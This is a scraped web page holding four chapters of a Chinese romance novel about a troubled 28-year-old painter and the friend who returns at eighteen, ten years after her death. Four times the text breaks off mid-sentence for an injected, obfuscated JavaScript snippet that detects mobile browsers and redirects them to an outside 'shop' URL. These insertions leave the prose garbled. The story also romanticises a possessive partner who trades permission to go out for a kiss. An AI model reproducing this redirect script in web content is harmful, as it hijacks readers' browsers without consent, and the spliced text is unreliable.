“乖,就这样多吃一点啊。” 十八岁的少女笑得明媚,让裴重溪二十八岁的心颤得厉害。 “别用哄小孩的声音和我说话……” 话虽这样说,裴重溪还是张开了嘴,微微仰起头,方便安茸继续喂她。 如果这是幻觉,就让她一直沉浸于此。 12. 第 12 章 “裴重溪,你说为什么会传出实验班的李老师是同性恋而被开除啊?” “不知道,大概是校领导的决定吧。” 在教学楼内,安茸背着因为低血糖眼前发黑的裴重溪,狂奔向楼下的医务室。 “你走慢点,颠得我脑袋疼。” 裴重溪将身子伏在安茸的肩膀上,用脸颊蹭了蹭安茸。 她们两个人从高一的时候就认识了,又运气好,被分到了同一个宿舍里面。 安茸像个小太阳一样,到哪都是笑呵呵的,不过安茸家里没什么钱,融不进学校里的小团体里,也买不起新款的鞋子和文具。 她本人不在乎,裴重溪的学习好,时不时会轮到她来收安茸的作业,一来二去也就熟悉了。 安茸放慢了速度。“我这不是担心你吗?” 两个扎着马尾辫的女孩放慢了速度,慢悠悠地下楼梯。 “这节是英语课,太好了,可以不用做卷子了。” 安茸十分庆幸地笑了笑说,“你怎么回事?咋突然就晕过去了。” 裴重溪纠正她的话:“没有晕过去,只是眼前有点发黑。” “那距离晕过去也不远了啊。” 安茸把她往自己的后背上掂了掂说,“那我现在背着你去医务室,会不会也被传出来是同性恋啊?听说同性恋是精神问题,会不会被关到精神病院里面?” 面对安茸的一连串问题,裴重溪的眼眸晦暗了一瞬,随即把发晕发胀的脑袋埋到了安茸的肩膀上。 裴重溪闷闷地说:“如果换任何一个同学都能背我下楼,不管是男同学也好,女同学也好,是老师也好,校长也好,都大概会是这个姿势。” 安茸悻悻地“哦”了一声,然后随即道:“你晚上非要钻到我被窝里睡觉,说怕打雷,是不是也是同性恋啊?” 裴重溪没有回答安茸不着边际的问题。 她们所在的高中在这座城市里排名很靠前,学习氛围也格外的浓郁。 走廊上写着红色的“奋斗百天,奋力一搏”的旗帜。 午后的阳光洒在水磨石的地板上。 安茸不敢把脚步放得太慢,一脚踹开了医务室的大门。 “老师,你快来看看。裴重溪快要晕过去了,要不要送到医院啊?” 裴重溪对安茸夸大其词的话感到无奈,说:“我只是低血糖,没到要去医院的程度。” 裴重溪被平躺放在医务室狭窄的小床上,她盯着白色的天花板,看安茸在和医务室的老师据理力争。 安茸说:“你看裴重溪的嘴唇都发白了,真的吃颗糖就好了吗?要不要去医院检查检查,有没有其他问题?” 安茸回过头对裴重溪疯狂地眨眼睛。 如果要送到医院的话,两个人都能有一个机会出学校。 裴重溪叹了一口气,没有戳穿安茸的小心思,闭着眼睛在病床上面装死。 医务室的老师摇头说:“只是普通的低血糖。” 说完从抽屉里拿出一颗糖果,塞到安茸的手里,“去给你同学含着,然后去小卖部里随便买点吃的就行。” “哦,好。”安茸的眼里闪过淡淡的失落,随即转身忙不迭地把糖纸剥开。 老师给的是闪亮亮的玻璃糖纸,里面是橘红色的糖果,隔着糖纸都能闻到一股香甜的气息。 “你张嘴。把糖含在舌头下面。” 安茸用两根手指在校服上擦了好几下,然后捏起糖,把圆润的糖球送入裴重溪的双唇当中。 “哎,你别用牙齿咬我手啊,我的手又不是糖。” 安茸小声地惊呼出声。 裴重溪半睁开眼睛,乌黑的眸子落在了安茸的脸上,随即漾开了一层浅淡的笑意。 “嗯,不好意思。” “这颗糖好吃吗?”安茸双手托腮,找了一颗小板凳坐在病床前头。 “嗯,挺甜的。”裴重溪说。 安茸笑呵呵地说:“那你现在好点了吗?” 裴重溪半闭了一会儿眼睛道:“哪有那么快。” “哦,那我在这等你吧。我可不放心你一个人躺在这里。” 不多一会儿,医务室的老师接了一个电话离开。 并不大的医务室里只剩下了裴重溪和安茸两个人。 安茸小声凑到裴重溪面前咬耳朵说:“姐姐,我一直不知道同性恋是什么意思,是不是很可怕啊?” 毛茸茸的脑袋凑到安茸身边。 裴重溪看着天花板,脑袋逐渐变得清明。 裴重溪轻声说:“安安,我有点冷。” “我给你找个毯子……这里没有毯子啊。” 安茸陡然站起来,四处张望,连个给病人的薄被都没有发现。 她只得将自己的校服外套拉链拉开,盖在裴重溪的身上,又用手背贴了贴裴重溪的额头。 “你发烧没?哎呀,我感受不出来啊。” 安茸着急忙慌地撩起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323627|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头上的碎发,将额头和裴重溪的额头贴在一起—— 两人的距离贴得极近,鼻尖都要碰在一起了。 安茸能隐隐闻到裴重溪含着的那颗橘子糖的甜香味。 “我没发烧。”裴重溪轻轻说。 两人离得极近,裴重溪的眼睫眨着,她的声音飘渺得如同能被一阵风给吹走。 “同性恋的意思就是喜欢和自己一个性别的人。同性恋不是精神疾病,学校领导大约是怕事情闹大,而且年纪也大了,想法比较保守,加上舆论压力,所以才让李老师离职。” 安茸专心地听着。 裴重溪藏在校服下面的手拉住了安茸的手,她的大拇指划过了安茸的掌心。 “李老师家里从商的,过得未必不如现在。” 裴重溪用牙齿把口中的糖咬碎。 一股甜意弥漫在舌尖。 她垂下眼眸,目光紧盯着地上的一块水磨石地板,要把那块地板给看出花来。 “安安,如果以后你要谈恋爱,你会找什么样的人?” 尚且青涩的裴重溪问出了一直好奇的问题。 安茸没有半点恋爱经历,她挠着头说:“我在外面打工赚钱都来不及,哪有心思谈恋爱。不过非要找的话,我希望找个和裴姐姐一样的人,脑瓜子好,不用很辛苦的就能赚到钱。长得还好看。” 裴重溪的嘴角抽了抽说:“肤浅。” 顿了一会儿,裴重溪支着身子要坐起来,说:“躺着难受,你让我靠坐一会儿。” 说着,她自顾自地把头侧在了安茸的肩膀上。 …… 往日的记忆浮现于脑海,裴重溪的目光清明。 安茸的容貌和记忆里的无甚区别,笑得依旧明媚灿烂。 一只手在裴重溪眼前晃来晃去。 “又发呆了,还是人傻了?” 裴重溪握住了安茸在半空中摇晃的那只手,蹙眉道, “喂到一半就不喂我了。” 安茸把勺子放下。 “你一口气吃了两碗饭,暴饮暴食,小心胃疼。” 安茸没让裴重溪多吃,凑到身前,将手掌贴到了裴重溪的腹部。 “果然吃撑了,不然我给你揉揉?” 裴重溪:“同性恋不是不好的东西。” 突如其来的一句话,让安茸整个人都懵了。 “啥?你说啥?” 裴重溪顿了顿:“没什么,你揉吧。” 13. 第 13 章 经纪人看着裴重溪送来的画作,“老师,这次的风格和以往不一样。” 面前的画作是难得的明亮,不过整体还是灰暗的,但多了一盏足够照亮狂风夜的路灯。 裴重溪坐在经纪人对面的单人沙发上,抿了一口咖啡后放下了,没有再喝。 “但是心理医生说我现在的问题更严重了,建议我加大药量。” 经纪人虞山陡然抬头,不可置信地看着裴重溪。 “老师,您这又是哪里有问题?” 不怪虞山的语气颤巍巍,主要是这位老师的身体和精神情况有时候真的不算稳定。 “没什么。只是病得更重了。” 虞山仔细观察着老板的面色,没发现病得更重的痕迹,反倒是看起来脸色更加红润了,怎么瞧怎么都像是大病初愈的前兆。 “咖啡不合您的口味吗?是今天刚送来的瑰夏。” 裴重溪用纸巾擦了擦嘴唇,她的表情有着浅淡的笑意。 “没,我不能多喝咖啡,对胃不好。” 虞山张了张嘴,最终用力点头说:“确实对胃不好。” “下午有两位客户想要来拜访您,之前预约过的,不知您有没有空。” 裴重溪看了一眼腕表上的时间,“大概什么时候?” 虞山已经习惯了裴重溪的记性有时候不太好,立刻报出时间。 裴重溪摇头说:“太晚了,让对方改时间。我回家有事。” “哦哦,好的。” 虞山立刻拿出手机去联系。 裴重溪轻声道:“她不希望我太晚回家,她在家给我做饭了。” 虞山没听清裴重溪在说什么,只以为这位老师的意思是家里请了新的家政阿姨。 她连忙说道:“那确实还是吃饭重要啊。” 在很长一段时间,虞山都很是担心自家老板像是在修仙似的,几乎都靠酒精和咖啡续命,正经食物是一点都不吃的。 裴重溪后靠在单人沙发上半眯了一会儿眼睛,突然开口说:“十八岁的女孩喜欢什么样的礼物?” 虞山顿了顿,用手指敲着太阳穴说:“十八岁的女孩啊……大概喜欢一些化妆品、明星爱豆的周边、漂亮的小裙子,带去逛商场准不会有错?” 裴重溪若有所思地点点头。 “明白了,你继续去忙吧。” 虞山“哎”了一声,心里古怪:老板怎么突然问起了要给小朋友送礼物? 听说老板家里没什么亲戚,自然不像是给家中小辈的礼物,那只有可能是…… 虞山没往深处想,总不会是老板突然谈恋爱了吧,而且谈的还是一个小姑娘。 这……虞山脖子缩了缩,寻思老板现在都已经是二十八了,怎么看怎么像是占年龄上的便宜啊。 虞山心中默默为那小姑娘祈祷一下。 …… 十八岁的小姑娘本人,正躺在别墅花园的草坪上晒太阳。 她把杂志从脸上挪开,打了大大的一个哈欠。 “家里全是酒瓶子和香烟,花园倒是打理得挺好的。” 安茸盘腿坐在松软的草坪上面,抬头看到天上有喜鹊叽叽喳喳地飞过。 她学着喜鹊“嘎嘎”的声音叫了几声,没有一只喜鹊理她,她也不气馁,乐呵呵地晒太阳。 “现在不用上学的日子真好啊,而且还有富婆姐姐养我。” 安茸光是想到自己都快要乐出来了。 在开心片刻后,安茸的表情又有一瞬的为难。 “可是也不能一直指望着裴姐姐养我,那不然我岂不是就成了吃软饭的。” 安茸沉吟了片刻,被自己这样的想法给逗笑了,随即又开始想起了正经的问题。 总是这样待在别墅里过家家不行。 她有手有脚的,自然是需要付出劳动赚钱。 可是她现在只有高中毕业,能找到的工作寥寥无几。 安茸低下头看自己手掌中的备用机,那是裴重溪淘汰下来的款式,属于上一代的手机,不过现在在市面上也能卖出大几千的价格。 如果就她能找到的工作而言的话,想买这个手机,估计还得工作两个月才行。 安茸翻找着通讯录里的同学名字,试着打了两个。 “对不起,您拨打的电话是空号。” 提示音响起,安茸的表情有一瞬的失落。 十年了,可以改变的东西太多。 再说,如果她以现在的身份出现在十年前的朋友面前,不知道对方会不会以为自己是突然还魂回来的。 安茸翻找起了之前住在同一个寝室里的姑娘。 确定号码,电话拨通。 这次迎来的不是空号,而是“嘟嘟嘟”的长音。 电话接听了。 没过两秒,电话那边传来一个成熟女人的声音:“喂,你哪位? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323628|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 安茸的眼睛一亮,立刻说:“小燕儿,你还记得我吗?我是安茸。” 停顿了两秒钟,对面传来了一声斥骂:“现在的骗子真不要脸,安茸十年前就车祸去世了。犯得着用死人的名字来骗我吗?现在的骗子真没下限!” “砰”的一下电话挂掉。 安茸张了张嘴,连解释的空间都没有。 她现在连身份证都没有,好像确实没有可以证明身份的东西。 安茸的表情产生了一些空茫。 原先温暖和煦的太阳照在身上也有些发冷。 安茸慢慢收敛了笑容,走到了花园的边界。 那是一排铁艺栏杆,栏杆外面是小区的马路。隔了几分钟,有同小区的人遛狗路过。 金色大狗停下脚步,看着安茸的方向汪汪了两声,像是在和她打招呼,被主人牵了牵脖子上的项圈,又往前走去。 …… 裴重溪在傍晚前回来,刚推开门便闻到了浓郁的饭菜香味。 安茸站在流理台后面,笑着对裴重溪招招手:“裴姐姐,我有件事想和你说。” 裴重溪把随身小包挂在衣架上,卸下了一天的疲惫。 刚要开口,面前的小姑娘像是一头小豹子似的突然冲过来,双手抱住了自己的脖子,把裴重溪抱得连连往后退了数步。 安茸身上热乎乎的,脸颊贴在裴重溪的脸颊上也软乎乎的。 女孩撒娇地说道:“裴姐姐,我想办个身份证,然后到外面看看有没有合适的工作。” 安茸心里有着淡淡的难受。 从前的同学联系不上,不是空号,就是觉得她是骗子。 安茸的人缘关系并不是很好,特别是和裴重溪搬出去住之后,忙着打工,说得上话的同学就没几个了。 她撑起笑容,撒娇地看向裴重溪。 聪明的少女知道什么方式能让裴姐姐心软答应,丝毫不吝啬自己的亲吻嬉戏。 安茸心想,她又不是同性恋,不过好朋友之间亲一亲不是很正常的事情吗? 她不是同性恋,姐姐也不是。 室内的暖气开得足。 安茸身上松垮地穿着裴重溪的吊带,这一下动作,半个肩膀都露在外面,肩膀也被暖气烘得粉粉的。 裴重溪的脖子上来一个亲亲,她舒展的眉眼出现了一瞬偏执的暗淡。 “在家里不好吗?为什么要离开?” 14. 第 14 章 安茸完全没有听懂裴重溪藏在平淡话语下的执念和阴暗的心思。 安茸嘟囔了一下,说:“可是我想出去看看啊,已经过了十年了,我也想知道十年后世界发展成了什么样。” 安茸一边说着,一边悄悄用余光看裴重溪,整张脸都是一副非常委屈的样子。 “你不能总是把我关在家里啊。” 安茸越说越小声,然后悄悄地用余光瞄着裴重溪的表情,生怕她不开心了。 但是朋友哪都好,就是有时候太固执,想要的东西非要得到,认定的道理也从来都不会变通。 以前上学为了非要得年级第一,没日没夜地学,晚上只睡两三个小时是常有的事情。 裴重溪静静看着安茸生动活泼的小表情,最终沉吟了片刻,侧过脸撇到一边。 “随你吧。” 说完,裴重溪自顾自地坐在了餐桌前。 桌上是安茸今天刚煎好的带鱼和一锅猪肚汤,光闻着就是很养胃的气息。 裴重溪坐在餐桌前,看着一菜一汤,安静了许久,最终闭上眼睛,吐出了一口浊气。她的眼底晦暗闪烁不明。 安茸噔噔噔地跑到她面前,半靠在餐桌上。她低着头,用两个手指甲不断抠挖着大拇指。 “是不是很让你为难了?我不会在外面多花你钱的。” “不是钱的问题。” 裴重溪低声说。对她现在而言,钱不是任何问题。 重要的是…… 裴重溪鸦羽似的睫毛压下了眼底的挣扎。 裴重溪再次抬起头时,眼中多了几分连她自己都未察觉的哀求与偏执。 “安安,你出去之后还会回来吗?” 安茸眨巴着眼睛,不明所以地说:“当然会回来,不回你这里我到哪去?难道是住桥洞底下?”安茸说着自己都逗笑了。 紧接着又是一阵长久的沉默。 裴重溪用手指指了指自己的嘴唇。 “亲我一下,我明天就带你去。” 安茸:! 裴重溪看上去颇为苍白的指甲按着自己的嘴唇,她抬头紧盯着安茸的双眼,又重复了一遍:“亲我一下,我就带你去。” 过了两秒后,裴重溪补充说:“反正女生和女生之间亲吻也没有什么关系。现在既没有别人看着,我也不会因为和你亲一口就身败名裂、被辞退。” 裴重溪的每一句话语都让安茸有些松动。 安茸心里知道两个女生之间亲吻是不对的事情,可是她真的很想出去。 而且和裴重溪,别说是蹭蹭脸,主动亲一亲,就连睡在一个被窝里也是有过的。 算了。安茸心一横,她探身上前,双手按住了裴重溪的肩膀,试探性地将自己湿漉漉的嘴唇对上了裴重溪的嘴唇。 结果裴重溪却并没有满足于这一个轻巧的吻,而是撬开了安茸的嘴唇,不断深入,品尝着安茸口腔里淡淡的糖果味道。 “你偷吃了糖。”裴重溪低哑说道。 安茸“呜呜”地发不出声音。 她是吃了放在客厅果盘里用来待客的糖果。 安茸想要把人推开,但是腰身先一步地软了。 一只手环过了安茸的腰,把她彻底按坐在了裴重溪自己的腿上。 安茸的体重很轻,身上也没什么肉,腰肢是少女特有的柔韧,握在掌中很是舒服。 “好了,够了……”安茸压根不会在亲吻当中换气,整张脸被憋得通红,眼中水光潋滟的,像只被欺负狠了的小猫崽。 两人分开,中间拉出银丝。 裴重溪用大拇指擦去安茸双唇上的水色,放到自己唇边舔了舔。 “嗯,是葡萄味的糖果。偷吃了几颗?” 安茸把头偏向一边,整个人身子都快要烧着了。 “吃了三颗。” 十八岁的小姑娘一五一十地说。 她悄悄地瞄了一眼裴重溪,“上面写的都是英文字,是不是很贵啊?” “不贵。”裴重溪说,“记得晚上刷牙。” 安茸闷闷地“哦”了一声。 …… 裴重溪是个很信守承诺的人,答应安茸可以第二天出门,她没有耽搁,一大早便站在了衣帽间的落地镜前。 虞山推门而入时,看到的便是这一幕。 老师穿着一身裁剪简约的黑色长裙,手腕上挂着缠绕了三圈的珍珠链子,手中提着一个扎了白色丝带的黑色皮革小包。 微卷的长发别在耳后,露出了全身上下唯一亮色的金色耳环。 虞山一时没敢上前。 虽然裴重溪平时的打扮都是以黑白灰为基调,但今日的打扮竟有种说不出的明亮的感觉。 虞山心里想,可能是因为那金色的耳环的关系。 平时裴重溪都习惯佩戴素色的小钻石或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323629|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是珍珠耳饰,看上去怎么看怎么像是时时刻刻悼念着什么人似的。 “你有事?” 裴重溪将发丝整理得一丝不苟,每一根都足够精致。 她转过头来对虞山点点头。 虞山说:“我去您的画室里取一幅之前客户订的画作。” 虞山举起手机指了指定下的日程表。 老师的记性总是不太好,可能是因为喝了酒的关系,虞山心想。 不过她进门之后,奇怪地没有闻到任何酒精的味道。 裴重溪心情颇好地点点头,在路过虞山时拍了拍她的肩膀。 “辛苦你了。” “哦,没事没事。” 虞山以为裴重溪说的是二楼画室比较乱,想找到特定的画作并不容易,她挠挠头说,“我已经习惯了。” 说完,裴重溪走下楼梯。虞山站在走廊上,身旁路过一个身穿白色长裙、蹦蹦跳跳的女孩。 迎面而来的女孩小脸蛋嫩生生的,一把能掐出水的样子,两条麻花辫垂在锁骨上,随着她的步伐一颠一颠的,上面缀了两个小巧精致的樱桃头绳。 安茸嘴里嘟囔着:“外面刮风了,我找件外套。” 安茸像条灵活的鱼似的溜进了裴重溪的衣帽间,在衣柜里挑挑拣拣,找出了一件浅色系的风衣套在身上。 “呜,有点大,不过先这样凑合穿吧。唉!裴姐姐,你到哪了?你等等我啊。” 安茸风风火火地从衣帽间里溜出来,在楼梯上大喊:“你走那么快干什么?哎,你不冷吗?要不我给你带件衣服?” 随后安茸又噔噔噔地折返回衣帽间,噔噔噔地挑出一件外套,再噔噔噔地下楼。 全程虞山站在门口,惊讶不已。 所以……这就是老板养在家里的十八岁小姑娘? 长得那么小,真的成年了吗?! 虞山心里掀起了惊涛骇浪,生怕哪天在法治新闻和微博热搜上看到自家老板。 她挪动脚步,看到那嫩生生的姑娘一把搂住老板的腰身,像只机警的小猫似的看看外面,又看看屋里。 “我身上可没钱哦,你真的会全部帮我付钱吗?” “嗯。”裴重溪站在门边,她掌心里多出了一排车钥匙。“喜欢哪一辆?要开那辆敞篷的保时捷吗?” 虞山倒吸了一口凉气,不禁以手掩面,心想:老师色令智昏啊,色令智昏! 15.第 15 章 “不会吧,不会吧?”虞山还是觉得非常不可置信。 推开了二楼画室的门,已经做好了看到满地酒瓶子和香烟头的打算和心理准备了。 结果没想到,一推开看到的是窗明几净的画室,独属于小姑娘喜欢的花夹子别在窗帘上,让坐在画框前的人可以随时都能看到。 虞山深深抽了一口气。 “啊,这……原来就是爱情的力量吗?” 她要找的作品安静放在显眼的地方,边上还有几颗葡萄味的软糖。 …… 马路上,敞篷打开,风呼呼地刮在安茸的耳侧。 “哇,真的不冷啊。” 安茸用手紧紧按住安全带,像只机警的小猫似的左右张望着。 裴重溪单手握着方向盘,另外一只手支着脑袋,正在等红绿灯。 安茸在起初的惊喜之后就是紧张。 “别人都在看我们。”安茸求救般地侧头看裴重溪。 裴重溪的鼻梁上挂着一副墨镜,遮挡住了上半张脸,让人无从窥探她的长相。 耀眼的红色皮革座椅和黑色方向盘,把裴重溪衬托得十分高不可攀。 安茸心中暗自咋舌:“裴姐姐,你什么时候变得那么有钱了?” 安茸眼睛眨巴了好几下,说,“你以后教我怎么赚钱好不好?” 裴重溪微微抬了抬下巴,轻声说:“如果你要钱的话,直接刷我的卡。” 安茸小声地“哦”了一声,“但是我还是很想自己找工作。” 红灯转绿,一脚油门踩下去,安茸又是一阵紧张。 市区开车的速度并不快,但安茸受不了周围人的目光。 等到了商场地下停车库后,匆匆下车,整个人都躲在了裴重溪身后。 “这里是哪里?” 十年过去了,城市的发展极快,安茸看什么都新奇。 裴重溪走在前面,安茸便很怂地跟在她后面。 “想买什么东西?”裴重溪站在商场中庭,回头看安茸。 她的目光落在不远处被擦得足以反光的玻璃展示柜前,在她的身后有一个明晃晃的影子一直跟着她。 她的安茸,一直陪在她的身边。 裴重溪按了按太阳穴,后脑又是一阵发痛。 安茸张开了五个手指,一个个掰着手指头说:“我要买拖鞋、牙膏、牙刷、毛巾、睡衣……” 安茸一一说着日常家居要用到的东西,一边说一边悄悄抬头看裴重溪,“这会不会很贵啊?” 裴重溪摇头。 安茸立刻绽放出了十分天真活泼的笑容:“裴姐姐你真好。” 在片刻的欣喜过后,安茸再次感受到了周围喧嚣的人声。 “小姐您好,请问有什么可以为您服务的?” 在踏入一家服装店时,店员走上前对安茸说话。 安茸像是只被踩了尾巴的猫似的,突然窜到了裴重溪身后。 店员也吓了一跳。 裴重溪站立在原地,不着痕迹地遮挡了一下安茸。 “没事,我随便看看。” “哦,好的。”店员心想,真是两位奇怪的客人啊。 店里空荡。 安茸人从前没来过几次商场,上一回来还是为了给十七岁的裴重溪买一条项链作为生日礼物。 现在陡然被带到这里,看什么东西都很贵。 一件睡衣竟然要好几千块钱。 安茸放下吊牌—— 用两根手指悄悄地摸了一下睡衣的边缘,喃喃自语说:“这是金子做的还是银子做的?” 店员跟在不远不近的地方。安茸余光瞄到店员靠近,她立刻像做贼似的将手抽回,立刻噔噔噔地躲到了裴重溪身后。 裴重溪轻声说:“喜欢那件衣服?” 安茸摇头摇得和拨浪鼓似的:“我不喜欢。” 裴重溪微微侧过头。 安茸低下头说:“我摸了一下,不会让我买下来吧?” 裴重溪沉默了片刻说:“不会。” 安茸“哦”了一声,却一直紧跟着裴重溪,像一个小尾巴似的。 裴重溪走到哪里,安茸就跟到哪里。 “这一件,这一件,都要。” 裴重溪依照安茸的体型报了一个码数。 店员露出明媚的笑容:“一共是五千六百三十四块钱,请问您有会员卡吗?” 裴重溪轻声说:“有。” “好的,请问您怎么支付?” 安茸用两根手指比划了一下,如果要现金的话,五千多块钱足足那么厚……于是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328224|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到了裴重溪拿出了手机支付。 安茸贴在裴重溪后背,半个脑袋悄悄探了出来,看到显示屏上的数字倒抽了一口凉气。 “也就买了这几样东西,怎么能贵成这样?”安茸感到一阵眩晕。 店员小姐在看到安茸时,对她露出了一个和煦的笑容。 安茸顿时像被抓包似的身体一僵,又躲回了裴重溪身后。 她从前最怕来这种店了。 寸步不离的店员总跟着她,像是提防她偷东西似的。 不过还有一些店员看她穿着朴素,又长得一身学生的样子,也不爱搭理她。 不管是前者还是后者,都让没什么钱的安茸知道自己不应该出现在商场里。 从店里离开,裴重溪走到商场会员专属的洗手间门口。 此处人少,不比外头吵闹,里面有独立的化妆间和休息室。 裴重溪提着纸袋走到了里面的一个隔间,她回头深深地看向安茸,嘴角漾出那淡淡的浅笑,说:“要不要来试试?” 安茸蹑手蹑脚的,始终跟随在裴重溪身边。背后隔间的门关上,这一方小天地里只有她们两个人。 “在家张牙舞爪的,在外头倒是和自己寸步不离。” 裴重溪心里的担忧少了许多,至少不是撒手没。 安茸到了密闭的空间里,总算松了一口气。 “五千多块钱……她该怎么还啊?” 虽然说她和裴重溪关系好,裴重溪也答应为她花钱了,但是安茸毕竟不是厚颜无耻的人,知道不能白吃白喝人家的。 女孩的心思低落。 余光不小心瞄到了裴重溪的手机壳,她手机背面是一张画质模糊的大头贴。 察觉到安茸的目光,裴重溪没有藏着掖着,大方地将手机背面展示给安茸看。 “好看吗?” 一只手悄然搂过了安茸的腰身。裴重溪低下头,用牙齿解开了安茸白色裙子领口的第一颗扣子。 “是她们高一下学期的时候,在学校附近地下街拍的。” 领口有凉风灌入,安茸浑身打了一个寒颤。 裴重溪的双唇贴在了安茸的胸口,呢喃:“那天……阳光和今天一样好。安安,不是不是?” 安茸:! 你又在干什么!